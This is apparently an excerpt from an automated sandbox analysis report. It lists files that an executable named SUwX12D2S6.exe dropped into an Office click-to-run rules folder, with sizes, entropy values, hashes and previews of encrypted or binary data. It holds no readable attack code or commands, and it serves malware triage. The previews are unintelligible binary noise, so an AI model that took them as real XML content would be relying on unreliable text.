Preview:	<?xml..=.}..Y.'.\|.#.....f.S..R..&..w9.H..!..v...#....%P\<...6 ...3....!.7.0.So.SGoA....Op...9.w-...E.K'..'.~.b...{t-...C.w....?.b.Cs.3.$..=....w..ua.bU.....y.K.....-..jH....o .".!....u.........{..-.3...3...[.k.3.a...,.+&.$.{....H...x....8+. ..n.._.:A...)FA....-?.:..t...b.........../..Y.....6{."r58.J.x.L9:M._x.`-..o.V.....HIE........wL.....T...4..=y. ...E."....T.9raO%....A".....^....J...%z,..q.).m.~2...*.V.O.@........6...l......c.}..?/........a,..w/.&.,O@._U.t..Z..X..R&..$.......f..Z{.;....F.`b_.....P3.bS\....8..".K1W.a....c.H....V.3.V.......C......K..r8.Z..[f.Sc.....jIA.T....T....U..T..Dg.C.W>. .....pf.V..T.]d2.h..f..... .#."6......A...G...O.w..7d\.2..k..f8...z...>..;EoA.....\...!..k.9..A....B....`2.4.&......1U.Mg.....W.]..x{=...f.v3.eQ.-W....{....B..W!h.4.._s\...t..H...e.w.pb....=...Jh.$T.M<...}..x.<.N.L.e....r...........U?9?<......V.iH.....s.Vm...ev+5..$2..eP.../...uV$d.\|..O.!/..../.D$d......N.&TQ...D.,.xv......7.DM/....7A...~.j........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702500v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.8857250618478325
Encrypted:	false
SSDEEP:	48:ooQqfIfd9mTZBwWUZWVlnO7LKdIt2Xl9FD:o1qA19mDwWU8VlOCBXl99
MD5:	298BC737B36621545AAF1424E4390529
SHA1:	3A7319BEF2C102C9FEF61EB53ADE85AC54CCDED3
SHA-256:	2985DEB26B75730D95B1BD0A93ED05BC798409BEA5601E5005AC9E763688DB68
SHA-512:	2190EEFAE91B704BB224485E46048CDF46BBF6789C91C9A72A5A572DC8B1785AEE97D5F1A53B264279441F235F7586DD6B592EEE63F0DFB657C7310A5D593414
Malicious:	false
Preview:	<?xmlw...k3.D.OT....=..........7yB3C.. .f.}.ttM."g..3Ek."4..f.`u'.j#B.$.+.+.$F.Ht....tx...j...n....k.1.......Q..n.l..9^.:......).Si....l.$..6xJ.%.,QP.7.S8.'".MI...4....%.z.....J.C6....aJ/...\....6..:...P....i....+A.u.px8j..c:..Q..O.uaTm..r.Ea.\3..X."xba.N3.z......a.2..-....4.c..`:..2..m.A4H.Dr.wN.Pa..J.Y.P.....{.#..".....Fw<!S......<T.E4(.....~.o~j...._.\|.m..6.J<... ..y....).A"_$.........Jk..8.G.+G'..k..?;tL.G..........X$4E.=K....r..w.'v.0.&.V\.E~%.;..v..........p.-....T;5.t....f._.`...".H.H;.:o.9..}..8..p.ey.Y?.>......]..8.(..X.^.P.Y..<..k.#y.:.}...k..Y.U..Y..1..M....O.("......c..?...V...O..Y@.E.&p....-..A...I#....$.o7?.Mqi....w...VlS.F....W...>.$..3`.......b<....>jT.I......y.w..\..dT/..=.!.0\|4.0.G.. 2<...o._..8\G..Q.y~..3B.\.0.J..-8.....d...V...i...N..p...T...;..#E...v.q.<\s...`......M......Gk2n./QP..o~P.n.a.......@]....Q.{.Wd..v.(}......\\.7......#..M.`(f...^e..iQ<........Jq.r.*n._z^6..7i.3;.wm\..9IP..M.....DV.+.n.N...l.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702501v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.870625823068434
Encrypted:	false
SSDEEP:	48:oGaPHHtjPNc+M8kzNVhAYmqQAVDgkvdkfWjUDFD:Ha397kzNVGYI4D/k+jO9
MD5:	DA9B300B38F235D3BCFFF7D7875C94AC
SHA1:	38F713B099D2F5EED2486D63E8FB0D5286417885
SHA-256:	C8E9DC5465912903EE6640AF46A29BEB4E3086E17B986D87B3A685FB79EB9CD7
SHA-512:	99B9BEED6352699CDC3DAD50E269876B6B9C9E094BE1DEF85962419332850AE06E4C22FB9BD271A7E70CED7141BEF4D18FB7B7050565EED923120EEEEF7B3963
Malicious:	false
Preview:	<?xml.M..J....4.@.i/.C./R...>z>..EG...2o....... Y.GO.9.......p9.4.u,...R.[E.ul..a.%.x.G]?..Ix.....h8.q....c#O..1.L.oF.X9.U...M8....K...(oB"2_..'...60..N........M..@...._....(...B7.OD wb.^..a...H"..M!.A..~?.Aj.<y?yVL.$......Cr..).:j.,.n...GI...#u[t.i.K.f5..!.......9Q.g...#...jn.\..I...9.n....7B.../..Kyo.S....%)..O...5...S?t...6..\|.Z..Q......g4.......$$.d....9...0o."J..[.....1.Z.t..r.q.{.i,.{U...P72.6..4.......x.N".....B..d...CW....<....8.^.-..3..(1Y..>....{...8........^T[xt..u+.....Z.)<...D.&...../.\|\...Ii.r.f...lr2.......3>.....V..U.s.2..x5.FH5K.B."....... }.%.S.Nmv.t.H.(C.....?.%.8..Y..S.....I..f_..)W...1............3....6...0..(..}s.E6...&..R..?.._U..7(..7!.Mkf.@8...Ls....W<.Aqp.. j&..Bn...!.x.H...K..EOD.].../g..:X.Z./U....g..M}..3sj).*....G....%.o.,.....k...^..T.Mm<....kWA..R..^T...u.QT.....q.kc[.....m.U]..d.,....]tl...z.....<..8s..3..@gdO....Z.....R....oU0.!...#.5..... ...j....O.Q..4.ZE?b.../.....m.....~'.M...h..m..n.6..<.....jsK$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702550v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.86448651157583
Encrypted:	false
SSDEEP:	48:VE3Y5Q7GRfLI0n6HBeISt1H6mXk9xGY2ZVsc1FD:VrwcjI9HBeIStQmXk9UY2b119
MD5:	26068E5550CFDF02A702AF909E9EEACC
SHA1:	8AF0963F10E256EF5734047282E54D0B8B2453C4
SHA-256:	3FB8D7696C6B00DE942BCA27A62869ED3A68A0F1EBB556ACDFA2CEAAE12EF7D9
SHA-512:	EDADB4455B98DFEDDA43F17EE779AE30ADFB479185FE3019E6970CBE03D46D2F0F96B3483C0DB49DB5FD4CE23F2E86A55D6D42D3EBF9DDD67CAC8871D2C10AD0
Malicious:	false
Preview:	<?xmlO....$aAj..V..4...W...[I..<.4.22...@.J.......^...2{.8.<..AD.!.?@9<`k.......MC...z..../d..H....,Q.W..M...h#(\|......G..&..R.^.....G?.....+...(.a..x.gC.....\|..(.n.......e.."..[.uD..-.$..\w..>oYi.n..eW..e\.z...f:...%.....v).4M._..n-k..9..pc.@.2.._.R<.Al>....=.F.9.>.OR.X\|k7`......>..c3W<.\....P..N..#L.@..l..G...U.x3.B........,.-.....D..A....@.pX[.........z..o,E.jFz.....D..^K..{..)...x.=.1..mYAb.:......"..8..vVT..b......5.V.D..w.'.pb.uK.....[I.j\|....2...$.Nj.Q.K.6...E..u.a..:...-.......?,t....yI..S..jb.t..&"i..e.V.J].....)....-.X.....k......-......z.....%vP.8.,+........o%..:..a. ...(.-$4..#...=......D..."!J.`d#B/`...eXQ.../...F..U.d(..).KI.hR&3..S..7R...o7...U.4..M.R.m....9Z...9........i.".Ww..l..NQ,J..(...H1].zm.d..J.$.R.4.^......%.B..).)...'..y..P...T...<3....:j..U..dL...1...x...8>.g.:...}..y.z..oQ{T...o#l.:DW.......I_...-.[@.$.r..X.`l..K.Q~'.".uA.S<...WL.4.r.B....[.h.C......e.Vf..\...}W..3.....u.r... ...7.`.....4..[.8.........i.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702551v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.865381265818828
Encrypted:	false
SSDEEP:	48:JXgKAW6M6mkoi/fPQryEHHzQ8hQ+3m64oqMefvNBFD:JflqTEnzFhG64ZMovb9
MD5:	880C71BA4CB055B6A2D24FA9A13BDAEF
SHA1:	25EB4FCCFCB68354BB466D99D396D9F0198FFBE7
SHA-256:	3707D8B0CAE48154F76D030B595794A0B4D7A6B82E4F0162F2F1F85FDC300490
SHA-512:	74E26D2214F18A7E0A2464C15EC744B57FB2FF15361360307203F403682D3FEF9C1B9067EC5912D81476B7703EB95D09D3B7FE3DD466F4B1D23D230AE7EB49A4
Malicious:	false
Preview:	<?xml......2....6..x.b...(..K...=...#....C..h.X..,....Q3..N.Q..1~..8E..._.n.1....\.C.^......?B..J..a.Ak.uC........j....k{...N.w.}M`..w4..K../6...s.2{2D.\..D.g..P....V.G.Dz..u.n,Y.H\0..j..q....:..r...M... .a.L.B...{.f....<....J......W...T>.;rI..A?;..AC2N..I-]..+^.m.ll2G3.W.\......}.C......wb..L...'.g.?....P.}....Q...=..e.Z.z....'..x.......mI.`.k.0t;.lK).....teJ..U\ ..^....Xtg..X/E&..D...Q.B.X7......}._.?.o.........L.KQ1...'.3!.8.fAyC..."j.j.Bp....0. .3.d..C.G!....C.EK......S}.....>O.X.\.}...vN.P.]`..n.%m..q.b.]uO.%a..{bR`U.....<.....,...f...N.l..z.=.v....h...x...zi.Dc..X.`.%sG.... .V...Nlq.^..7... .6...Z"mP.d.z.v.Mj..f_.F...:...^....=Z........r......}...\.E.~.C...B.{[...WU.>'....r.8..F..NW.IB..........g...2._).+....\......EO/.=M..k..KW...._.2.v.z0.]...`B]......&vI...QEFd.O...zq.....%Z..\|..w.....=...<..S.......9..~...d..dr..<X]Z..S.z.......8.`..q.n....;.M.Jv..cHC..A...'.LwO...I....%UG.~}..mF........-.O..S:._b.......k......Kr.}.=#9.u.;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702600v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.872324201702154
Encrypted:	false
SSDEEP:	24:Bhgm0bSZHIDvBVXrVAjo9XBbZinHXn5rM3TIYMqrs7TYwU4nrcRqHUDB+OiLqVbD:DgnbSZIzrVqmXBqrMjIYlyo4nCqcKqFD
MD5:	69122BC2644C6E0A7D3AF2C60587E8E9
SHA1:	D4E1C7A1DFB1EE06C30932AA490B9A68EAAC4B1E
SHA-256:	272772EA87B4381A25034BA1ABCB9E64613943E2E9AFF7A698FD2D69F57D08E5
SHA-512:	C6FD9FA69F4B5C9B0813E8054C88CC3F2C729F60F2F3CE8EF64E1470EAF9CCE531073BC3A2799A318F0968FE44E419D444C83E436F947AE5E62D9125E6E42784
Malicious:	false
Preview:	<?xml1.y.`q.2r.#..tk.;rd.G..a ;E.?!....;..'9.o...`H..'/Y.="j..D.e...o.Hp'....o.....B...@.]....0....'Wk".jK..2.HAiG.y..$e...#.J..rl)}..b.c.M3.....} ..YS&..c..E..u..a#....L,..D.....y.#yu$.D...{.c..z@.5O.....Q....."...i..v.....x......-......Rmk.Kl.N...5...&..@....L].(.....(..h.F.f.].7.E.%. 9G..g....p../..0.....%6:.o...`...i........Qg^..J.D.v^F...?..J..{...#0..!".Q..f..YU.k2h..S.s..oX.]kB.P....1...PT'..i............\.1.?....0...W..~..lRP.....$O_......8..d../..+.<+eB..&...X...,...-G<......HvS. &.{.Y....B..DzB3.,Nx....v.&W..UP.5.E......@...>...(...D7..3.FJ....kG...Uz.A..u..?.PC.v.:.....xH...PvC...]....=.I.G.PZW..9..t....I..6Y....)...!o.y.Y..7.q.u...EH.O.O{..x....5.....W....%.[..I..K.>..H.\....3.6.....8...H.z...1..r.....] .e.V....q.]^.......[DB..).*. dC.g........;...dL.z....#........J....4....cPW.#`g8\|.I...VfE.M...`fJ.r. ..X..L...1f.Mk.$.........O.."r,..R3....>-."+...F...a._.b..e......[G...6Rz..u...+U..#.I-.N..U..~V.....b...... .`.....Z./.\|.;..P.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702601v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.873543782324979
Encrypted:	false
SSDEEP:	48:uP8Y4z172ZDdy2CeNwCQVU7foIeiFY/xazmhzWFD:C83N2JkheDQq7f+MKhzW9
MD5:	CFDBC9AC5FF0005D02742A83625354E2
SHA1:	27411131CD393833B7AD529F8F1295C12F62BAD5
SHA-256:	7B219493E009A9885D6A47F85116730F36BB9A94BAE327D2C487A8EA15730EF2
SHA-512:	7C8F306A9D619B3FEA8C4C85A1B1B921D01F17AA1F395FBF0721C6368529365ACD8CA20051998222B4D65B76D9968FB5245516944CF8EF16D08F858A66530783
Malicious:	false
Preview:	<?xml.....$0.....HXD..Y.34.Q3.W;2.3..D".. .2....Xg..u......;.O..........&.f....W,@.h.....T.{6F....\|.7.K...^,Y.%6....[......<4.....a!.x..oz..f..v....EDC..-.:.._..YX.K.O.r..h/.`G.A.M.\.......jG.9.:.......'.hp...H.t...maN..f.......v..5.......;C=.1..;.O....T@.w..<x.\|%.....==............`............7..Qq....?.u)R.....VAq......_.{%...T1.C.mT........SB..&....8.....df...V%X.u..pE.y..6.RwW%J.b.!..,R...]+.Gk...t...~...:2h@#.#...>.:.9mK.....H..(...v..D......o.}.8....T.fR.Q-...`r.X......#.....Ow.Y .u.e].......X??...O......%..Jw.[:!cHI..........D&...[._.\|.ES.k^0..>(M$..ea\.&..t"h....:......v..>.;.........;..>5J....$~.&Z.).(...../...{4.a0.I^p.t!.......H.....z C..5.J....0 ..../....-..<mt.t..'...5.X/..>..n..O......;.L..H..G.....U..m.d.#MA.Xo.6J..!....,.".z...89..S.)._..'(..=B.l.........b.l..p..\|h..x........;_.x..G..V.L.j+.).......9........1..3.Oo....j.L..>.{bL$..`7{....c....p... +.7.o..N...T.Ki..I0....G.6y.U../.......%w...v.....3.3.o.qVqmu..r...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702650v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.8878687823047935
Encrypted:	false
SSDEEP:	48:aA3cK3DAz24bu91Q7Hn4dkJUVkc6yHgSjntH8FD:1co94Kkjn4dkJak2jjZ89
MD5:	D6D1B03C4663074B74ACC63400EAD018
SHA1:	C77846DCD22BD71C1998C34B2656CCABAD888EFE
SHA-256:	966D4CED9DD8FA8E68D5E2F6566863ECCFDEEFCED051E4044698FA8B5CE36E0A
SHA-512:	B85C799C9D7F0674E653485610D2E7936F7CB8611AB9741F7992999529180BA2D2345D342766C9D2D4B04E8A83A776CAE32AD845246F46CD3B16608927CC8070
Malicious:	false
Preview:	<?xmlZ...w..J..z..h....+.....!.P..X..>.....B?D..`....[..zc8O..>..+>....(...4.h....R.e...7...B.u....l.7..M....!kKwD...=....3y..ci..SYs....h...[.X...4...==.........[.N..sw.C..g..d........%.^..Y...u..kJ$.x".7D...t<.)..L..>!.S..'..7...]......(.a.s..a..\|..r5~.P.z.7_.1.1. .&.w.j...i.....&.b.0..(..d.u]..:..=P.dWj....9.#.z....C..I....`......(.H.;...n..u.;...N..7..:..)uc.a.?..y.....fGN8..^..j.{#R.]...eY.$../...yv..}->!k/.J%...M.....Lzq.>....O..L=(...S...Cy...:...N.{G.noDq..,x0=..e.m...@......jI....0T..3.L.U......."..3..7.......r!m[..v....7..b.j.O..C..K.......x...A..\J.g..{x<.:.X;QK..M........@.4../.%p...A(:..h..h.y.q..A.......jK.n.1.....kV......C.....<.....n...}..Rm\.Y.(...L^{.]J..e.....o2..Zs.....w....A.{..0.#...6.....s..y..J..u"B...}V..zD93.t...@$d.i..>A.._..F..4...B..Tk;U.Yv....\.....t....1+...N..M...u1Z.Xe.:.OZ.....Q.r....G.Aj..Sg ....].L.J.q.=..xY.h..........D.....U..1.?......4a.....xW.v...}@.[...s.~^_d.:.........p.t

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702651v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.868049133864219
Encrypted:	false
SSDEEP:	48:h7f75wbssJHGd4PCtfmCsNZ8PaXKpgbO95+9baS1ecuFD:hnmb/hGdSyO74caU2qvu9
MD5:	D0CB64B5A0FB775D42C865C22EDEB23D
SHA1:	D9E65C5DA18A4B88D544AC22DE18E46897928C12
SHA-256:	D754990490047412E7629D294E14C577CA0CAC2AB842AB13A3CDB48731E1F495
SHA-512:	ACCBFC15DEE5379BA4D81D02DCEDF4EBF8E46B848C6287FCB676791E923726766F27D96E546020F3DCD17095963E617D9742071FF4F4A36DCDFD0C67B8E40939
Malicious:	false
Preview:	<?xml4.M...7/..B1DT........67m.w.b.y.om....K.d..f]Y....V.8...- ...G.P.poJa.I..)..lC../.m).kf.N......pI.....\....w.g.*...).~!0..kex.)?T.b..I.Q4t....!.f.H........z.c.)T3&.t.(\0..2]..iL&I@.o....!.?..A....]D.........0.3.p.J..l..5Nw/23.c...Rt..2.e.5.w...... .<a......e;....r...,N......2.&.`.;-..N\|.._.F.3..J......s..q...N.....R....\|..2....z..&.RI&0.....:8.q..,F.#l..C...Y$Nv.fY....E..Cr.8...m..n....jA............@.4./h.......Qmq.....#L\|......}..7q#.A...6.c...>r..c.jQy.n....p.......G....../Os...wLc...Reh.<,.W.M.....r.]._....%8..W..TJ.&RXdj.xo+L.=c..+....K\|....Ie7....?......0....u.p...u..?.=7.N.7...d.H./..F........h..V...ZTi............!.xT0&x<.V.H...f.........9P.Wu.N.4..s..<A1\|..]..>b`.....B..........o.(.qe7...):%hJ3K.X..h.g.k'..\|..H.D..@..i...Z..w#M]..Wz...I..."".B.m..s.`>6...\.:....fD@.t...e../.I..L..W...%...%n.# ..x.At0..`.-..@.}[_.......e...'...~.g..`a...a.......r....ha.s..l~..z..t.......,C.m.......uf..r...No@d.+...FI-.PR.j.6..o).Bh.y.......m.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702700v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.886505138887195
Encrypted:	false
SSDEEP:	48:U740T0SWm+gEV2iMhQ4/9WjEtoUA2+JHAAQFD:L0NQgMQGc9tuUko9
MD5:	9DF435B198C942B695E5337E4E291E52
SHA1:	47F69E46DC3FA8F1F418C458DBCEC82EE8476C56
SHA-256:	898C129C25C6CDC8DAB19E893A781CEB210A42BDE4F7E1E5BCF85632384C391D
SHA-512:	C81FF0716FDA8F9153A70359863FB0CD698335C4334862AF45472DE3F4F07D54A69F32F32FCDB222792AE805DE4955F9E8309EA81F0BC5287ED9BF6B648E1CF2
Malicious:	false
Preview:	<?xml...Z_O.G..h.#KFkF.....d.=..../@.$B....b?+..C...}.s..&.=I.ph..Jq_x.....u...F..;.)~z@m..4jhG.9...[#.Nr.P=...P(:.Z..l............x..A'.,...,..#.k{.H..@3...s.!...+...Y....N...M..`.ehu'....T+.?=......E...0..g'.C.O7...{cSvR..tS..4?A."...#.\..z.C1#u\|.r...).!....eE.....%....r.B.~.O.b.7QU.....=]..{^.)...(,.....{.F..nA.N.<..m.V.2.\.......4h......D..S.;...9v.S.A.+'....a..hM...........#..I.<..O.......dex.b..]p..F....N..o..;R..>........`I.3{w3\O.C..-a...0%.K'..K....5.#.oR.K......Y..A.$.e..X=.4.}...TC.:..b~t.....y...?<ro.;{;......Y.T5.W...5C....IL....9..nHl`-.F..../...Y...a.p_o..I`w5nn.Y.....=....#n..E.P.%.(.K...m..:I.{...F.v...a..o>..bX..=..J.6V...O.+..z.=M.c.5......^..t....L...&,...6~s_...LW}.T;....!.0.....].z9....V..R......q:....fQ.FN.v.Hm..D..x..\....vI.%VKhQ1.x....,..`}4.u....:.=...+..R..,..].o.m.+...2.r.Y.a?......}..^.38....S.p;..J....x;#...\|...FG....J...f.vb%v.M..s.<3....(.B.Gb&.W...].\|pf.3..=a.....*......T..^..wB...I..R.,...5d`^.G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702701v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.895986874900994
Encrypted:	false
SSDEEP:	48:7Axfqk+cssxu49SdWP4O/ibFutnPLSaUdAeFD:7Aauu49jKFWDSnAe9
MD5:	9EB1865EC5F6A0E6995E792125178143
SHA1:	67694D9BD532E36A82B8D4BEAB229503CD13183F
SHA-256:	BA08001F2917E10CD67958F5CC881565FFFA09DBB2120F24D1F065C89531744F
SHA-512:	B908A3E7B48E5E96DFA57A4874ECD359E0CE23179CF6CDD1397EDA6F28229C60035BDB82E2C5A11A5C6E28CED2B7FD334125B0DC77A80CBAA0C49381164B69A8
Malicious:	false
Preview:	<?xml7...@.?kZ&f.-.5U.&....4...k..&.H.d[...<...M.uy.....,..._..,......7..->g.$g>.)m...J.m'MV5_.%0.....CG..$......B...V'<>ECgzl.L..I.Wl.%.\.........P....v.O..........,{...NJ...A..Y...S,...VE.$e+a.^.]..O.j......B$.x..... .k.#..~..Z'(..Q....8.).....p.f'&.[,.w......=.}..Z3...\|e.k...L.,\|..x"..KO.E&.4.R\|V.ZM.=.Z1..3_. we.f..}.....j.L..!\.......F.......Q..+.....k....u..T.[...p8...28..Jl....bN..n.....;T.NV&..&.x..`o>..2..~.dJ].p+k...E....OhuA.y\E....-...}..N..<.]....cxc...K.Z.d.&..GS.kF.]..Ed.Y....!=....>.X..Y.....c.... ]..YM.....Y.}.y......[.....1.m{P..kK).=....0.....tw.z.()v..4..Q..;......X+....x..k,..i.?...H.Tq..d-.4....8.p.}._E%..sR.'....P...G...J...z.......\R..\|..fV..z.JYU.^....1.....r.5#.Vn.0i..Y>.....K...."!..+M3.o.pK}.9.F..,....y..ds...B".8...8i..~.5.e.=.z6F....oHtpx........\|.r...z......f...'..{.(.6.w.hb..N..p..l.........f....;.......)..!......#....N..a\..y.b.....r.....&<..i..pV'HSR..Mo..n..0..9.....1..v.\..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702750v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.890787271543313
Encrypted:	false
SSDEEP:	24:vHtECSNXn9OnmspC2N0moFuN0NK92FBfg36vImxFcQ3ItQKqQ9qwRoVbD:PtzwgBpCVmLN0NGMgGxFcQ3HKXqwyFD
MD5:	F604A52985FA431A37315964F735870D
SHA1:	1379345E9AFDF611A0D68142BB9F8B671F438705
SHA-256:	6D806BB99414F8F4E0BF9F492D73ACD70744105C85DFCFDFF36A787DA31F91DA
SHA-512:	3B9E8B9E5E2751352C8F2CC2F0363399989E4B22146C7E5D5F6540E468C8D5010DC407D2D2B76B3A0B9665C802222B07F85E4C35E44C797070D3C3C5854E8AA5
Malicious:	false
Preview:	<?xml.f.1..9./..a....x+..3$.......[.t...F.U..@...o..~j...0....2P./.....j..N...\|...$.....CU.;Aag.L4n..7$4..:_..yD.h..O....U;W.bF..n....'...&R...>-$.....I.f..9..D......L...l..l......M$p._.u.a(...>.%.q..~.60H.5.O.JA.".A....&{../...j~#.`T..n.R%...j...x....}5be.j......M.y*.T...S_AJ.R.....=~k.B.&...y&.,[@..OF..q.q....H.t.~.!.&g....."......U..l....!.)..R..y..U.,.`..........F......dP.p...+.iG(z.......Q..&KEL].Sl:.........W@x.c.......a.u..qo8.^..D..AF#(.Qi..j...?..>...Ag[...s...X.......#w1O.IEMB1^hY^........h`.V..)....E`.^.jt.u...jf....h.....I.Z.#.?..................{/.`..#$.....Y....2....(X....q8.^.l..+C.d.@..hn.I...H....1..X..........G....J..R..e.J.N.e{.cg..`...{Nk..i.y4D....j..m~.3Q..Cs.....qL@....%U.?,=.........^.<...O....A.N5.....H:....A...&..5.Y...E.1..$G.....Q...\,u.F.j.n N.`...7....3.c..j....6...q{..i.q.t.q..X.-.1....R..Q............`#F=u..i...?...=.W....6g@.....]}...._..0...HH./..&8z..9..+.U.p:.K0..e)K.b.qT^3......k.....L...q.k...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702751v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.900810208683296
Encrypted:	false
SSDEEP:	48:YgGVwiPYUeOZnYyuVVDxa3CB32UMNl+ouXcFD:YgrDv32RNIhs9
MD5:	10E44D0900E37E4470761547FBC7023C
SHA1:	E4721E5399E3DB705E84D6D345FA025947B7ED58
SHA-256:	291CBA2A65F18F85B2E0A27AB02E0FDD3904A60E7A9F99B946087F520E23D579
SHA-512:	60A8A6F3D57673BC75CB868495C06EB0800D92BE15BD286E89FBD68888A13F6706748A825DE7CDB928FEA1CFC5C90E4A006BA1319F4B910768600D0F60704E52
Malicious:	false
Preview:	<?xml..>y@^E..'.P.....{...').W..~..C...b...3...0.69.h.r..y.J....Lx.vi...8..X...u.om.>...1..:...H..hO.#...H.0....(&{<..eB.d.JrR..4...K.p./..c.r.h....t\|..f...f.j..;M......R{.u..i..'.0c@`..l&..%.J....t..I}u+ g#.......bS=.Z..Cmj.P...$Xyx....f[.@.F.:9....d=.G....J..:..]]..:[.O.=......A$V...nu ....\|.am...TE=...t....?.<a...E...\|..9t1nn.....!.b.G..U.\|J.c..;....v..2.FR..e,.U........!..!.kac...w&.)....a...8......._@.1s.q^xk.(..............$..r....@>....P...ug....,W...o..V.t..5..........7kG%@.?D.CeC..LWU.+......~..+.......N.......ce...X.O.T.\.f.o.52.'j].x.W..j.aP..G.H...0q.Q..g_...f:"..M."...=.%...-)....s95U.h..X..).........V..r^...L.z.W.]8......R3.M..7.ju.t5.!A..?6[.......Rx..LF.....Kq./.\|.....,.v....!...m....JP'~-............>..\|...z..'..........e..\|.wZ.....!..m.......,-.=[;@<.A.....<.WQ.."...........7.4.+Cdh\<.J.6....".A.vJ{.]S..V......a.l.V.;ty.kQ5..?.(9_..%YI.K..Ky.7.NKC...V.)..e_g.%...L..)........p.....N..b..#....!~E..;.u..)....._..k\|_

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702800v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1687
Entropy (8bit):	7.892668750139896
Encrypted:	false
SSDEEP:	48:2L01BfBaKn0atYG1Hrs9iv3+Exu3DHDy9FD:W01BfWG5rMiv+Exu3I9
MD5:	D8853DAE5B1616CCC86995BDD10C8C07
SHA1:	B3CDE79879FC0CD933C81A0C2AA9AD561C40ABDC
SHA-256:	EA4AAE874C82AD8A44ABC20BA89A9B499A377B277CDC9E1B17D73A8A2D22D59E
SHA-512:	2197CBCEFDC1EF20145A3E34D1FF29F480805143EA488BB1CD42A566DCEC3BD28983D1610A723C1718FDE33FD9D35AA8AFCE0FC98B3FCBC7B768D3E28F8CDDEC
Malicious:	false
Preview:	<?xmlD.{ ..h.3.......?......+Q.7..D.(.7.]..T.......@(...&`.&..Rgo.B.......:..}...P"Et1........(&>.)P.HU2...K.[.....6.tjL.w..r...b+VP.avyN..&B.W..\|x....a.h.........x..=..21.L2._....RC&....O..2.[.<=..w....}....2.]i..^...%.........w...0..6..o=dL.F........%:.fZ..r.U.......r[?0....e.9>...zCx.....S.MDC.u..........A..=-.!..v..?.Tt.......)?[*..({......uM...gt..`.f.:...6...Kx"z'R....<M.@...;.Y/.....L.f..8j.g9...........2.....F.%...L+w.....rWF.^..]nD.u..lY{..D/.\|f+w..........E..bsv-]8d ....T.\|v..e..D.AI..R...5.72...r..:.N.....d.........@z5.......P.ro..]...............k.......o.....<..2. .?.,.!.yc....)....G..........[k\|..p...N..C.=....r0..rV.!l.).-k.3..d.@.Z90.nA..C.;k...Q.=.F.....:..a..W.H...[d[.l..........!.....)..e.E...==Y...P.2..W..1m....$;..,...#5.2.j#.....S.3....\|.-?...T7q........8.........x..B.....5m{..X.v....2{..$.z,&..w....JO...\|~.c..,.Ro....sK.nj.wM9.:......Y.tz...W.O..r..%U....D.._......{dO.g=...)...;8M..<.n^..y...Z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702801v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.900575059540688
Encrypted:	false
SSDEEP:	48:nJu2qZFB+4B7Pp17WsIdpZJw61wh80yDWaj84wG+Cw7FD:nJu2q/tJj7gF1whDd/Cw79
MD5:	A988673554D95F4278C791FDD1BB92BF
SHA1:	6E1F281EEF71C11C2E8CBD5727B1B464225E43B2
SHA-256:	A464675521C9E3AE841370C3A3BC98170C90E03B61EC931CB750824FAF99448D
SHA-512:	9B4BF320CE63104F9FCD30BDCCC71102033C3B877CF7EF7E008321CEC113F2A510219EA01BB0C4E1D14BC093A2D6466CF540F9746EA90EDEA569D447CFA2EE66
Malicious:	false
